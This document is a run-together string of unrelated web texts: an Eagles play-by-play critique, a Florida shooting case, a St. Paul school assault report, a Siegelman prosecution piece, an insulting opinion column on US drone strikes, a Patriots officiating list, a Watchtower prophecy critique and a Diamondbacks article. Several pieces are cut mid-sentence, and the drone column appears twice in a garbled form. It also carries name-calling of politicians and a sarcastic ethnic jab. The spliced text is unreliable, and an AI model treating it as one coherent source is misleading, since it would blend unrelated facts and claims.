Holding. #79 offense. 10 yard penalty, repeat 2nd down. 2nd and 20. The Eagles violate key #1, Don't go backwards. However, despite 2nd and 20, the Eagles get 19 yards on their next 2 attempts setting up a 4th and 1.
Is this where people are complaining that Chip isn't aggressive enough in th 4th quarter? If anything, I think we should have punted, but Chip decided to keep the foot on the gas and go for it on 4th and 1. Bryce has an initial hole:
but London Fletcher fills it:
Hey, the other guys get paid too.
Fast forward to 12:56 of the 4th quarter. Redskins just scored their first TD and the score is now 24-8.
1st and 10 and Daryl Tapp, yes, Darryl Tapp beats Jason Peters, yes, Jason Peters, really badly:
Again, Rule #1: Don't lose yards is broken. It's now 2nd and 16.
However, the Eagles work themselves out of that rut and get a 1st down 2 plays later. Nick gains a few more yards on a couple of zone read keepers, and then this on 2nd and 7. Players needs to know the situation. Get positive yards and live to play another down.
McCoy has a bit of a seam. Put your head down and take the 2 yards.
Instead, McCoy stops, makes a guy miss:
He now has a second chance, to steal a couple of yards and get down. He has a couple places to go:
Instead, he chooses to cut it outside and runs backwards. This is GREEDY football:
The result is a 5 yard loss, setting up a 3rd and 12 that we don't convert. Honestly, Shady should have went to the bench for this move. He has no business being outside the hash marks given the situation:
So in conclusion of the Redskins game, I don't think it was play-calling, poor coaching decisions, or clock management, or tempo. It came down to execution and the Eagles didn't execute.
***
Let's have a look at the Cards game. 4th Quarter, 24-14 game 13 minutes to go. McCoy rips off a big run. However, Jason Avant feels the need to push his man in the back instead of just walling him off. Block in the back, 10 yard penalty. Moving backwards.
Later on the drive, we run a bit of a new wrinkle play that probably needs a bit more time for practice. As Derek Sarley pointed out, the timing hasn't been worked out on this yet. The Cards blitz and essentially give you the look you want, but Cooper is not looking back for the ball. Foles has to eat it and take a sack.
Here on 3rd down, the Cards beat us on a stunt. They've been beating teams all year on this stuff. Again, the other guys get paid too |
in the hours before the shooting, the three victims allegedly yelled at the defendant and said they were going to “get him.”
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Woodward is also using the “Bush Doctrine,” a foreign policy principle put in place by the Bush administration to explain the U.S. invasion of Iraq through “pre-emptive” measures, as a defense for his actions. Woodward and his attorneys argue that what he did was preventive, going along with what the Bush administration did in Iraq.
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With Woodward citing both the “Bush Doctrine” and the “Stand Your Ground” law, it is unclear what his intentions were that night and whether or not the killings were justified.
Florida has recently been the center of much controversy surrounding the “Stand Your Ground” law. Last year, unarmed teenager Trayvon Martin was gunned down by George Zimmerman in a Sanford neighborhood. According to Zimmerman, Martin was “suspicious looking” and when he was followed and eventually confronted, began to attack. Zimmerman was armed, and felt his life was in danger, so he pulled out his gun and shot him. The story received international attention due to the race-related nature of the incident, as well as Zimmerman’s use of the “Stand Your Ground” law. This past summer, Zimmerman was found not guilty on all charges.
It is not clear whether Woodward has any chance of successfully using both “Stand Your Ground” and the “Bush Doctrine” as defense for his actions due to the circumstances of the situation.
undefinedA Central High School student allegedly choked a science teacher until he passed out, then slammed him to the floor during a fight in the lunchroom Friday.
The boy’s younger brother then punched an assistant principal who stepped in to help the teacher, St. Paul police say.
According to a police report and police spokesman Steve Linders:
The teacher was breaking up a fight around 10:30 a.m. Friday when a 16-year-old student slammed him against the wall, injuring his face and breaking his glasses. The boy then lifted the teacher off the ground in a stranglehold and slammed him onto a lunch table, a chair and the floor.
“Teacher stated he blacked out losing consciousness during the strangulation,” the report reads.
An assistant principal was trying to pull the student off the teacher when the boy’s 15-year-old brother yelled profanities at him and punched him several times in the chest.
Police arrived and arrested the two boys without incident.
Ramsey County prosecutors charged the 15-year-old Monday with fourth-degree assault and obstructing legal process.
Prosecutors could make a charging decision Tuesday about the 16-year-old.
Principal Mary Mackbee wrote in a letter to Central parents Friday, saying one of her employees was taken to a hospital for treatment.
“I will not tolerate any behavior that puts our school, students or staff at risk,” Mackbee wrote. “There are severe consequences for students who behave this way and we will follow our strict discipline procedures as outlined in the Student Rights and Responsibilities Handbook.”
The handbook classifies a crime against a staff member as either a Level 4 or 5 offense. Level 4 offenses require an out-of-school suspension of at least one day, while Level 5 offenses call for expulsion. It’s extremely rare for St. Paul Public Schools to expel a student.
Toya Stewart Downey, a spokeswoman for St. Paul Public Schools, said the teacher and assistant principal were not at school Monday.
The school district’s human resources office advises employees to try to use nonviolent holds to break up fights among students, “but if another student or staff are in harm’s way, they can intervene in the fastest and safest way possible,” Stewart Downey said.
At least one high school gives its employees whistles to call for help instead of intervening, but Central does not.
Josh Verges can be reached at jverges@pioneerpress.com or 651-228-2171. Follow him at twitter.com/ua14.
Mara H. Gottfried can be reached at mgottfried@pioneerpress.com or 651-228-5262. Follow her at twitter.com/MaraGottfried.Is Don Siegelman in prison because he's a criminal or because he belonged to the wrong political party in Alabama? Siegelman is the former governor of Alabama, and he was the most successful Democrat in that Republican state. But while he was governor, the U.S. Justice Department launched multiple investigations that went on year after year until, finally, a jury convicted Siegelman of bribery.
Now, many Democrats and Republicans have become suspicious of the Justice Department's motivations. As correspondent Scott Pelley reports, 52 former state attorneys-general have asked Congress to investigate whether the prosecution of Siegelman was pursued not because of a crime but because of politics.
Ten years ago life was good for Don Siegelman. After he became governor, many believed he was headed to a career in national politics. In 1999, Siegelman's pet project was raising money to improve education, so he started a campaign to ask voters to approve a state lottery. He challenged Republicans to come up with a better idea.
"You tell us how you're going to pay for college scholarships. You tell us how you're going to put state of the art computers inside every school in this state," he said.
But now the applause has long faded. Today, Siegelman is at a federal prison camp in Louisiana. He's doing seven years. The main charge against him was that he took a bribe, giving a position on a state board to businessman Richard Scrushy, who had made a big donation to that lottery campaign. There was a star witness, Nick Bailey, a Siegelman aide who had a vivid story to tell.
"Mr. Bailey had indicated that there had been a meeting with Governor Siegelman and Mr. Scrushy, a private meeting in the Governor's office, just the two of them," says Doug Jones, who was one of Siegelman's lawyers. "And then, as soon as Mr. Scrushy left, the governor walked out with a $250,000 check that he said Scrushy have given him for the lottery foundation."
"Had the check in his hand right then and there? " Pelley asks.
"Had the check in his hand right then," Jones says.
"That Scrushy had just handed to him, according to Bailey's testimony?" Pelley asks.
"That's right, showed it to Mr. Bailey. And Nick asked him, 'Well, what does he want for it?' And Governor Siegelman allegedly said, 'A seat on the CON Board.' Nick asked him, 'Can we do that?' And he said, 'I think so,'" Jones says.
The CON board regulates hospital construction, and Scrushy ran a healthcare company. Both Siegelman and Scrushy were convicted in federal court.
But, as 60 Minutes found out, the imprisonment of Don Siegelman is not nearly as simple as that.
"I haven't seen a case with this many red flags on it that pointed towards a real injustice being done," says Grant Woods, the former Republican attorney general of Arizona.
Woods is one of the 52 former state attorneys-general, of both parties, who've asked Congress to investigate the Siegelman case.
"I personally believe that what happened here is that they targeted Don Siegelman because they could not beat him fair and square. This was a Republican state and he was the one Democrat they could never get rid of," Woods says.By By Lynn Herrmann Feb 4, 2012 in Politics Washington - America’s secret CIA drone program is no longer a secret, thanks to President Obama’s admission earlier this week that, yes, we do kill people in foreign lands by using these unmanned aerial ghosts of death in a “focused effort.” In an How naive. Of course these strikes benefit a nation with an insatiable appetite for oil. And for spending taxpayer dollars on the largest military budget in the history of civilization. And for killing innocent civilians. Finally, we get the transparent government America’s first black president promised back when he was still a green-behind-the-ears senator from Illinois. Nevertheless, barackstar insisted in the chat that, “first of all, drones have not caused Crash. Increasingly, we are seeing the prerequisite qualities for becoming president as such: liar, sociopath, and a clear tendency toward psychosis. Continuing with his chat, the president noted the drone strategy is “kept on a very tight leash” and that “just a bunch of folks in a room somewhere making decisions” is clearly not the case. Forget that these drone strikes fall into two categories: CIA-supported or Barackstar’s admission of using drones for killing purposes brought an immediate response from numerous organizations, including Amnesty International. “President Obama’s confirmation of drone use in Pakistan opens the door for improved transparency and accountability in the U.S. drone program: its scope, legal justification and provisions to safeguard civilians,” said Tom Parker, AI USA’s policy director for (counter) terrorism and human rights, The current covert drone program by the U.S. has escalated rapidly under Obama, killing hundreds and hundreds of people since he claimed the White House in 2008. For the record, the New America Foundation’s It then appears between 300 and 400 individuals fall into Obama’s category of not being a “great number of civilian casualties.” Back in 2010, a senior Obama administration official, naturally speaking in an off-the-record moment, said, “If there are Predator operations in Pakistan, I would argue that the collateral damage is negligible at most, and that reports of intensified damage are a myth,” according to the And on it went - suggesting, implying, indirectly referencing, but never admitting - until this week. Combining a complete loss of integrity among all our political leaders with the total loss of a critical thinking skill set among most Americans, barackstar’s admission of the drone strikes being a “targeted focused effort at people who are on a list of active terrorists” will do little to assuage the fears of innocent civilians in Afghanistan, Pakistan, Yemen, Iraq or anywhere else U.S. activity in the Caspian Basin calls for it. The Pakistani government went on record this week noting America’s covert drone war games are not in favor there. In an exclusive interview with As the Democratic Party and its loyalist fan base rolls over for Obama’s war agenda increasingly reliant on technology to fight its dirty little wars, we bring religion into the cause. Interestingly enough, our current liar in the White House noted his “christian” values this week as well, no doubt an attempt at connecting with his god, a god who evidently believes drone strikes in foreign occupations and otherwise is a god-like activity. A madness has permeated our political and social fabric when we as a country do or say nothing to stop these attacks on innocent civilians. Only when it happens on our shores do we stand up and scream “git dim arabs.” Only then do rednecks and religious hypocrites unite. And let’s be perfectly honest with ourselves here, Bush and Obama clearly fall into either of these two categories. Our political leaders have set an example for us to follow, one which is so low, so malignant, so reprehensible, that the moral decay of this once-great nation was actually able to occur in just 200 years. An astounding reality, and apparently there’s no turning back. As the fruits of our labors are used in killing total strangers in far-off places, Americans continue stalking reality on television. Today, our future is as bleak as it’s even been. This November, Americans get a choice between barackstar and whatever slime the GOP can scrape from the bottom of its garbage can. Some choice. On the plus side of all this, Americans can stand proud knowing their tax dollars will eventually “git dim Arabs,” at least until the oil is gone. Our current president, much like his predecessor, has taken the definition of “truth to power” to exaggerated new heights by making a rare public admittance of the United States militarist use of drones in war, theoretically targeting alleged militants in Pakistan’s tribal regions near the Afghanistan border.In an online video chat, Obomba was asked about his increased use of drone strikes - he ordered more in his first year in office than did George Junior during his entire eight-year reign - their toll on innocent civilians, and whether using them benefits the nation.How naive. Of course these strikes benefit a nation with an insatiable appetite for oil. And for spending taxpayer dollars on the largest military budget in the history of civilization. And for killing innocent civilians.Finally, we get the transparent government America’s first black president promised back when he was still a green-behind-the-ears senator from Illinois.Nevertheless, barackstar insisted in the chat that, “first of all, drones have not caused a great number of civilian casualties. For the most part they have been very precise, precision strikes against Al Qaeda and their affiliates. We have been very careful in how it's been applied.”Increasingly, we are seeing the prerequisite qualities for becoming president as such: liar, sociopath, and a clear tendency toward psychosis.Continuing with his chat, the president noted the drone strategy is “kept on a very tight leash” and that “just a bunch of folks in a room somewhere making decisions” is clearly not the case.Forget that these drone strikes fall into two categories: CIA-supported or military funded. Their purpose is to kill, innocents and alleged terrorists alike.Barackstar’s admission of using drones for killing purposes brought an immediate response from numerous organizations, including Amnesty International.“President Obama’s confirmation of drone use in Pakistan opens the door for improved transparency and accountability in the U.S. drone program: its scope, legal justification and provisions to safeguard civilians,” said Tom Parker, AI USA’s policy director for (counter) terrorism and human rights, in a statement this week.The current covert drone program by the U.S. has escalated rapidly under Obama, killing hundreds and hundreds of people since he claimed the White House in 2008.For the record, the New America Foundation’s Year of the Drone report notes between 1,715 and 2,680 people in Pakistan were killed by drone strikes during the last eight years. Of those numbers, between 1,424 and 2,209 were estimated to be militant deaths.It then appears between 300 and 400 individuals fall into Obama’s category of not being a “great number of civilian casualties.”Back in 2010, a senior Obama administration official, naturally speaking in an off-the-record moment, said, “If there are Predator operations in Pakistan, I would argue that the collateral damage is negligible at most, and that reports of intensified damage are a myth,” according to the Washington Post And on it went - suggesting, implying, indirectly referencing, but never admitting - until this week.Combining a complete loss of integrity among all our political leaders with the total loss of a critical thinking skill set among most Americans, barackstar’s admission of the drone strikes being a “targeted focused effort at people who are on a list of active terrorists” will do little to assuage the fears of innocent civilians in Afghanistan, Pakistan, Yemen, Iraq or anywhere else U.S. activity in the Caspian Basin calls for it.The Pakistani government went on record this week noting America’s covert drone war games are not in favor there. In an exclusive interview with Time, Foreign Minister Hina Rabbani Khar said, “There is not a single military person to date that has ever accepted in front of me that they have ever been supportive of drones. There is nobody in Pakistan who has ever been supportive of this.” This statement was in response to a suggestion by Time that Pakistan’s military supports the U.S. drone program while its Parliament is against the covert warfare, creating a “two-track relationship.”As the Democratic Party and its loyalist fan base rolls over for Obama’s war agenda increasingly reliant on technology to fight its dirty little wars, we bring religion into the cause.Interestingly enough, our current liar in the White House noted his “christian” values this week as well, no doubt an attempt at connecting with his god, a god who evidently believes drone strikes in foreign occupations and otherwise is a god-like activity.A madness has permeated our political and social fabric when we as a country do or say nothing to stop these attacks on innocent civilians. Only when it happens on our shores do we stand up and scream “git dim arabs.” Only then do rednecks and religious hypocrites unite. And let’s be perfectly honest with ourselves here, Bush and Obama clearly fall into either of these two categories.Our political leaders have set an example for us to follow, one which is so low, so malignant, so reprehensible, that the moral decay of this once-great nation was actually able to occur in just 200 years. An astounding reality, and apparently there’s no turning back.As the fruits of our labors are used in killing total strangers in far-off places, Americans continue stalking reality on television. Today, our future is as bleak as it’s even been. This November, Americans get a choice between barackstar and whatever slime the GOP can scrape from the bottom of its garbage can. Some choice.On the plus side of all this, Americans can stand proud knowing their tax dollars will eventually “git dim Arabs,” at least until the oil is gone. This opinion article was written by an independent writer. The opinions and views expressed herein are those of the author and are not necessarily intended to reflect those of DigitalJournal.com More about Drones, obama's new, choice for, in afghanistan, In Pakistan More news from Drones obama s new choice for in afghanistan In Pakistan for killingIn the wake of the Patriots 31-30 loss Sunday night, there has been much discussion over the poor officiating and very costly penalties that hurt the Patriots in the game. While the officiating alone should not be an excuse for a loss, there were quite a few calls that deserve scrutiny. For those who missed the game or don’t quite understand why there is so much talk about certain plays, we put together a list of the top five plays that Patriots fans are upset about in the aftermath of the loss to the Ravens.
1. Holding on Devin McCourty – Fourth quarter, 6:18 remaining, Patriots lead 30-21
With 6:18 left in the game and Baltimore facing a second-and-14 situation at their own 16-yard line,threw a pass that was incomplete to. The incompletion would have resulted in a third-and-14 situation at the Ravens’ own 16 with 6:11 left in the game, but then the refs called a defensive holding penalty on
Definition of holding: when a player illegally grasps or pulls an opponent other than the ball carrier when trying to prevent a block or cover a receiver.
The controversy: McCourty never grasped or pulled at the opponent. If anything, he may have tapped the opponent on the play, but it was never even close to holding. Even the announcers were left speechless by the call.
The result: The penalty cost the Patriots five yards and gave the Ravens an automatic first down, meaning what should have been a difficult-to-convert third-and-long from deep in the Ravens’ own end turned into first-and-10 at the Ravens 21. The Ravens later scored on the drive, tightening the game to 30-28. The moment was a huge turning point in the game for the Ravens and likely changed the outcome of the evening.
2. Holding on Brandon Spikes – Fourth quarter, 4:15 remaining, Patriots lead 30-21
The situation: The Patriots were hurt once again later in the same drive as the McCourty call by another holding call, this time on Brandon Spikes. With 4:15 left on the clock and the Ravens facing second-and-goal at the New England 10, Chandler Jones and Kyle Love rushed in and sacked Joe Flacco for a loss of 12 yards. The play was negated, however, when Spikes was called for holding.
Definition of holding: when a player illegally grasps or pulls an opponent other than the ball carrier when trying to prevent a block or cover a receiver.
The controversy: Spikes, like McCourty, didn’t seem to hold Dennis Pitta on the play at all – in fact, it was Pitta who grabbed Spikes’ jersey and yanked him down to the ground. The call easily could have been holding on Pitta, not Spikes.
The result: Instead of a third-and-22 situation from the Baltimore, 22, the Ravens received a first down five yards from the end zone. On the very next play, Flacco completed a touchdown pass to Smith to cut the Patriots lead to 30-28. Had the penalty never been called, it is very likely that the Ravens would have had to kick a field goal, and in a game where the difference in the final score was one point, that touchdown ended up really hurting the Patriots.
3. Bill Belichick grabs the referee – Postgame
The situation: With two seconds left in the game, Justin Tucker kicked a 27-yard field goal that was ruled good by the referees to give the Ravens the 31-30 win. The kick appeared to have just barely made it over the uprights, but it was a close enough play that the Patriots seemed to want a review. In the postgame craze on the field, Bill Belichick rushed to the referee asking for an explanation of the call and grabbed an official.
The rule: According to Mike Pereira, a rules analyst for FOX Sports, “a field goal that goes over the top of an upright is not reviewable because you cannot determine when exactly the ball is directly over the pole.” A field goal is considered good if it makes it above the crossbar and through the uprights or when above the uprights, between their inside edges.
The controversy: The field goal was very close and it was above the uprights. From some angles, it looked as if it was definitely between the outside edges of the uprights, but from other angles, it was harder to tell. The referees did not take much time to call the play good, and an angry Vince Wilfork stormed over to the referees in an attempt to ask them to review the play, which apparently, they could not do anyway.
The result: The Ravens won the game, and Belichick will likely receive a fine from the NFL for abusing an official.
4. Pass interference on Jerod Mayo – Second quarter, 15 minutes remaining, Patriots lead 13-0
The situation: At the start of the second quarter, it was all Patriots. New England led, 13-0, and the Ravens were tasked with converting on third-and-6 at their own 22 to start the quarter. On the play, Joe Flacco appeared to throw an incomplete pass to Ray Rice, but the incompletion was negated when Jerod Mayo was whistled for a 2-yard pass interference call
Definition of pass interference: When a player makes contact with an intended receiver after the ball is thrown but before it is touched by another player in a way that prevents the player from catching the pass (i.e. holding a receiver’s arms down, cutting off the receiver’s path without making a play for the ball, restrictive contact with a player without making a play on the ball etc.)
The controversy: Mayo did not seem to do much that would constitute a classic pass interference call, and you very rarely see pass interference calls made on a 2-yard play.
The result: The call gave the Ravens a first down, their first of the game, therefore marking a huge turning point in the game. If not for the call, the Ravens would have had to punt on fourth-and-6 at their own 22. Instead, the Ravens drove 82 yards down the field to score their first touchdown of the game.
5. Offensive pass interference on Julian Edelman – First quarter, 1:48 remaining, Patriots lead 10-0
The situation: Toward the end of the first quarter, Tom Brady and the Patriots were facing a third-and-11 on the Baltimore 30. Brady appeared to complete a pass to Julian Edelman at the Baltimore 11 that would have given the Patriots a first down, but it was called back due to an offensive pass interference call against Edelman.
Definition of pass interference: When a player makes contact with an intended receiver after the ball is thrown but before it is touched by another player in a way that prevents the player from catching the pass (i.e. holding a receiver’s arms down, cutting off the receiver’s path without making a play for the ball, restrictive contact with a player without making a play on the ball etc.)
The controversy: It’s hard to understand where the pass interference on Edelman was since he was shoved in the chest by the defender who did not turn around or make an attempt to make a play on the ball. Since Edelman caught the pass, it looked like the play should have stood as it was.
The result: The penalty cost the Patriots 10 yards, but it was repeat third down, so the Patriots attempted to convert on third-and-21 from the Baltimore 40. Brady moved the ball up nine yards thanks to a pass to Wes Welker, and the Patriots had to settle for a field goal instead of having an easier chance at scoring a touchdown on what should have been first-and-10 at the Baltimore 11.home > changed teachings > prophecy
Changing Watchtower Prophetic Interpretation:
Daniel & Revelation
Russell closely followed sixteenth century Protestant Biblical interpretive methodology, seeing Bible Prophecy as pointing to modern day fulfilment (where modern is the time period of the interpreter). Rather than try to determine from the text what the prophecies of Daniel and Revelation mean, the Watchtower uses eisegesis to fit prophetic meanings to current times. This has led to a constant change of understanding and interpretation.
A small sampling of prophecy that has undergone complete interpretive re-engineering follows, particularly regarding the significant changes made to the understanding of the prophetic days of Daniel and Revelation. Whereas Russell borrowed extensively from the Adventist movement to prove parallels in the 1800's, Rutherford found fulfilment in twentieth century events.
As will be shown, from Rutherford onwards interpretation became less logically consistent. Lack of consistent methodology has allowed desired explanations to be squeezed from almost any Scripture.
Franz's imagination knew no bounds; as seen from the 42 types and prophecies that were supposed to point to the Great Crowd, as listed in You May Survive Armageddon into God's New World (1955) pages 367-368. This included Rahab the Harlot, Lot and his daughters and "the very great multitude of fish that come to life in the healed waters of the Red Sea."
Current interpretation lacks consistency in many areas due to combining a matrix of methods to explain each passage, and arbitrarily choosing what to explain as literal or figurative. For instance, at times the word 'days' will be said to be literal days, at other times years and at yet other times be considered figurative. As quoted in detail later, during the 1800's the 1260 days of Revelation 11:3 were interpreted as years extending to 1798 A.D. (Three Worlds 1877 p.114); now they are literal days during World War One. And whilst the 1260 days of Revelation 11:3 are currently interpreted as a literal period of time, six verses later the 3 ½ days are said to be figurative. (Revelation, Its Grand Climax At Hand! pp.164-168)
Likewise, in the description of the 144,000 of Revelation 7:4 and 14:1, the number 144,000 is taken as literal but the statement that they are virgins, Jewish, male and standing on Mount Zion are all explained as figurative. (Revelation, Its Grand Climax At Hand! pp.116, 117, 198, 199) This method of interpretation makes it possible to arrive at whatever preconceived meaning is desired. That is why it is possible to have a new interpretation created every few decades.
Revelation
A book could be devoted to the changing Watchtower interpretation of Revelation. Rather than show each change, it is noted that within one century there were five major Watchtower publications attempting to interpret Revelation, each one substantially different than the one before. In 1917 The Finished Mystery was released. Then came Light (1930), followed by Babylon the Great Has Fallen! God's Kingdom Rules (1963), Then Is Finished the Mystery of God (1969) and most recently Revelation, Its Grand Climax At Hand! (1988). The September 2006 Kingdom Ministry insert, scanned below, listed 70 changes to the Revelation Climax book.
The Watchtower claims that Jesus commenced his inspection of religious groups in 1918, and chose the Watchtower Society as the sole organization worthy of representing him, based on the spiritual food being served. Some of the food at that time is contained in the 1917 book The Finished Mystery. This was held up as the fulfilment of prophecy, "God-given interpretation" (Watch Tower 1917 December 15) and "the first and only book that makes clear every part of Revelation and Ezekiel." (Watch Tower 1917 October 1) It continues to proudly be described in the Proclaimers and Revelation Climax books as a powerful classic.
"Through the close of 1917 and into 1918, the Bible Students energetically distributed the new book, The Finished Mystery. By the end of 1917, the printers were busy on the 850,000 edition. The Watch Tower of December 15, 1917, reported: "The sale of the Seventh Volume is unparallelled by the sale of any other book known, in the same length of time, excepting the Bible." Jehovah's Witnesses-Proclaimers of God's Kingdom p.69
"In 1917 the Bible Students published The Finished Mystery, a powerful commentary on Revelation and Ezekiel." Revelation - Its Grand Climax At Hand! p.165
In reality, almost every page of The Finished Mystery contains information that a Witness today would mock if they did not know it was one of their own. The majority of its teachings were incorrect and discarded in following publications. Some of the claims in The Finished Mystery were;
Charles Taze Russell is the faithful and wise servant (p.4)
Jesus is the Alpha and Omega (pp.15,336)
The “Time of the End” started in 1799 (p.171)
The “Great Tribulation” started in 1914 (p.178)
God’s Day of Vengeance started in 1914 and will culminate in 1918 (p.404)
88 "proofs" that Christ's "Second Advent occurred in the Fall of 1874" (pp.68-71)
The Kingdom of a thousand years started in 1874 with the second coming of Jesus (pp.301,386)
Jesus began his reign officially in 1878 (p.66)
The remaining Anointed would all be taken from earth to heaven in the spring of 1918. (p.64)
Demons will invade the minds of churchgoers in 1918, leading to their destruction. (p.128)
"Also, in the year 1918, when God destroys the churches wholesale and the church members by millions...." (p.485)
"the realization that Christendom is smitten by the onslaughts of revolution, might be expected to flash throughout the world on or about April 27, 1918, a year, five months and twenty-six days after the death of God's great watchman." (p.530)
"Even the republics will disappear in the fall of 1920....Every kingdom of Earth will pass away, be swallowed up in anarchy." (p.258)
Palestine will be re-established in 1925 (p.128)
The Great Pyramid of Egypt confirms the fact that the time of Harvest has come (p.226)
Jerusalem was destroyed in 606BCE (p.398)
The great crowd will number approximately 411,840,000 (p.103)
The rider on the white horse in Revelation 6:2 is "the Bishop of Rome, the embryo Pope, the personal representative of Satan" (p.106)
Michael the Archangel is the pope of Rome. (p.188)
"Behemoth" of Job 40:15-24 is a stationary steam engine. (p.84)
According to Revelation 21:17, the number of sheep at the end of the thousand-year reign will be approximately 20.7 Billion (p.323)
"Leviathan" of Job 41:2-19 is a locomotive. (p.85)
The "valiant men" of Nathum 2:3 are an engineer and a fireman. (p.93)
"The chariots rage in the streets, they jostle one another" of Natham 2:4 are the clanking and the bumping of railway cars. (p.93)
The "voice from heaven" of Revelation 18:4 is the voice of The Watchtower Society. (p.276)
The glory of the angel of Revelation 18:1 refers to modern discoveries such as correspondence schools, celluloid, Divine Plan of the Ages, talking machines, vacuum cleaners, induction motors, pasteurization, Panama Canal, shoe sewing machines, subways, skyscrapers, Roentgen rays. (p.273)
The preachers of Christianity say things that originate in their own imagination (p.432)
Revelation 14:20 predicted the precise distance from the place where The Finished Mystery was produced in Stranton, Pennsylvania to its shipping destination in Bethel in New York City (p. 230)
was produced in Stranton, Pennsylvania to its shipping destination in Bethel in New York City (p. 230) The earth was created 48,000 years ago (p.139)
New books explaining Revelation have been necessary to replace preceding wrong interpretations. Even the latest Revelation book still contains ideas that are clearly wrong and will need to be changed again over time. The number of contradictory interpretations that the Watchtower Society have presented shows that these are little more than stabs in the dark, not a collection of teachings directed by God's Holy Spirit. How does the Organization explain such a major rewrite of the prophetic explanations? Revelation, It's Grand Climax At Hand! P.8 states;
"As early as 1917, the Watch Tower Society published the book The Finished Mystery. This was a verse-by-verse commentary on the Bible books of Ezekiel and Revelation. Then, as world events continued to unfold in fulfilment of Bible prophecy, a timely two-volume work entitled Light was prepared, being released in 1930. This offered an updated study of Revelation. Light continued to 'flash up for the righteous,' so that in 1963 the Society published the 704-page book "Babylon the Great Has Fallen! God's Kingdom Rules!"
The claim is made that these changes signify 'a flash of new light'. But wasn't The Finished Mystery said to be 'God given'? Can it truthfully be said that God gave the original interpretation if it was blatantly incorrect? When there have already been 5 vastly different attempts to get it right how can people believe a rewrite is new light from Jehovah and not just more of the same wrong light?
Take as examples the explanation of what the star named Wormwood is meant to signify, or who Michael the Archangel signifies. This was not "new light" resulting as "world events continued to unfold".
Wormwood
Revelation 8:10-11
"And the third angel blew his trumpet. And a great star burning as a lamp fell from heaven, and it fell upon a third of the rivers and upon the fountains of waters. 11 And the name of the star is called Wormwood. And a third of the waters turned into wormwood, and many of the men died from the waters, because these had been made bitter."
There have been three different versions of "God given light" regarding wormwood in Watchtower publications so far:
1. Calvin
"Calvin is entitled to the honor of having at one time been a papal star.... Is called Wormwood. -- What an ideal name for the doctrine which has caused more bitterness against God than any other doctrine ever taught, and for the man who roasted Servetus at the stake" Studies in the Scriptures Series VII- The Finished Mystery p.151
2. Satan
"The 'great star' falling from heaven as a burning lamp was Satan.... The name of this star is called 'Wormwood', which means bitter. Being cast out of heaven Satan is in the 'gall of bitterness'" Light I pp.126, 127
3. Clergy of Christedom
"In view of these features about it. what religious class of people could this blazing, falling 'great star' picture but the apostate Christian clergy of Christendom, Catholic, Orthodox and Protestant and otherwise sectarian?... But what should have been spiritual 'water' to sustain the spiritual life of the peoples, the apostate Christian clergy have turned into undrinkable, deadly, bitter wormwood waters false, pagan, unchristian, unbiblical doctrines" Then is Finished the Mystery of God pp.224,225
Michael the Archangel
Michael the Archangel is described in Daniel 10:13 as "Mi´cha·el, one of the foremost princes" and at Revelation 12:7 it says " Mi´cha·el and his angels battled with the dragon, and the dragon and its angels battled." In the fifty years between 1880 and 1930 there were five changes as to who Michael was.
1. An Angel that worships Jesus
"Hence it is said, "Let all the angels of God worship him;" [that must include Michael, the chief angel, hence Michael is not the Son of God] and the reason is, because He has "by inheritance obtained a more excellent Name than they."" Zion's Watch Tower 1879 Nov p.4
2. The Pope and Antichrist
"Michael and his angels"--the papacy and its supporters--fought against the dragon--pagan rulers, etc.,-- and the great dragon was cast out of heaven. Zion's Watch Tower 1879 December p.6
3. Michael was the pre-human Jesus Christ
"Can it be that he who was called Michael--Jehovah's chief-messenger--was none other than our Lord in his pre-human condition? we conclude that HE must have been "chief messenger." " Zion's Watch Tower 1883 June p.3
4. The Pope again
"Michael.--- "Who as God," the Pope." The Finished Mystery 1917 p.188
5. Jesus in heaven
Since the 1930's Michael is explained to be the heavenly name for Jesus.
"For many years Jehovah's Witnesses have taught that Michael is a heavenly name for the only-begotten Son of God, who was named Jesus while on earth." Watchtower 1984 December 15 p.26
The Governing Body of the Watchtower Society demonstrate that |
cut swing.
The result: Segura’s ground ball percentage is 41.7 percent compared to 59 percent last year, and his fly ball percentage has increased from 24.2 percent in 2015 to 37.5 percent.
“I definitely see the change. I can attack the ball better,” Segura said. “I feel great at the plate.”
He’s also using the entire ballpark. Ten of his 11 hits have been to center or right field. Last year he pulled nearly as many hits (42) as he hit to the opposite field (49).
Why the change?
Robinson Cano and Segura have a common friend, and that friend asked Cano if he’d be willing to work with Segura in the off-season.
No problem, Cano replied.
“You know how it is when you have two bad seasons and you have the family issues he had the year before,” Cano said. “He had a rough two years in Milwaukee. I was just trying to help him get his confidence back. And you can see it the way he’s swinging now.”
One bit of advice Cano gave Segura was to use the whole field.
“We worked on where he had to hit in big situations, seeing where the pitch is and just going with the ball,” Cano said. “That’s what he’s been doing. He’s turned it around pretty good.”
Segura has called Cano an “angel” for helping him.
“He treat me like a brother and give me the support that nobody gave to me when I’m struggling,” Segura said. “It was huge for me. All I have right now is just for him. He’s a great man.”
Finally, Segura feels like his old self again.
ROLE REVERSAL: Have the Diamondbacks and Dodgers swapped identities?
“This is who I am. This is the baseball I played when I came to the big leagues,” he said. “Right now they (the Diamondbacks) are giving me that opportunity to be that kind of guy again. Steal some bases and say, ‘Go hit. Do your thing.’ That’s great for me.”
It’s working out pretty well for the Diamondbacks, too.
Reach Bordow at scott.bordow@arizonarepublic.com or 602-448-8716. Follow him on Twitter at Twitter.com/sBordow.
Tuesday’s game
Diamondbacks at Dodgers
When: 1:10 p.m.
Where: Dodger Stadium, Los Angeles.
Pitchers: Diamondbacks LHP Patrick Corbin (0-1, 5.14) vs. Dodgers RHP Kenta Maeda (1-0, 0.00).
TV/Radio: FSAZ/KTAR-AM (620), KSUN-AM (1400).
Corbin gave up three home runs to the Colorado Rockies on Wednesday, spoiling what was an otherwise solid outing. … He gave up four runs in seven innings, walking none and striking out six. … He averaged 91.9 mph with his fastball. … Maeda was impressive in his first career big league start, tossing six scoreless innings against the San Diego Padres. He gave up just five hits, walked none and struck out four. … Maeda wasn’t overpowering; he averaged 90.4 mph with his fastball and mixed it with sliders, curveballs and change-ups.
Coming up
Wednesday: At Los Angeles, 7:10 p.m., Diamondbacks RHP Rubby De La Rosa (0-1, 12.46) vs. Dodgers LHP Alex Wood (0-1, 9.00).
Thursday: At Los Angeles, 7:10 p.m., Diamondbacks LHP Robbie Ray (0-0, 3.00) vs. Dodgers RHP Ross Stripling (0-0, 1.23).
Friday: At San Diego, 7:40 p.m., Diamondbacks RHP Zack Greinke (0-2, 9.90) vs. Padres RHP James Shields (0-2, 4.85).
Up next
Los Angeles Dodgers
